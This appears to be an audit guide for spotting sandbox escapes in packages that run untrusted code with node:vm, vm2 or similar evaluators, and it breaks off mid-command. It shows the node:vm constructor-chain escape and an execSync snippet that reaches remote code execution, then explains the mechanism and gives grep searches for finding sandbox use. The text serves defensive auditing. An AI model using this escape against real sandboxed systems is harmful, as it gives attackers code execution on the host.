sandbox-escapelisted

# Sandbox Escape Detection ## When to Use Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code. ## Key Insight **node:vm is NOT a security mechanism.** The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses `vm.runInNewContext()` to isolate untrusted code, it is vulnerable. ## The Constructor Chain (node:vm) The fundamental escape from node:vm: ```js // Inside vm.runInNewContext({}, {}): this.constructor.constructor('return process')() // Returns the real process object from the host ``` Then achieve RCE: ```js const process = this.constructor.constructor('return process')(); process.mainModule.require('child_process').execSync('id').toString(); ``` ### Why This Works 1. `this` refers to the sandbox object 2. `this.constructor` is `Object` (from the outer realm) 3. `Object.constructor` is `Function` (from the outer realm) 4. `Function('return process')()` executes in the outer realm 5. `process` gives access to `require` and the full Node.js API ## Process ### Step 1: Find Sandbox Usage ``` # node:vm grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts" grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" . grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" . # vm2 (deprecated) grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" . # Python sandboxes grep -rn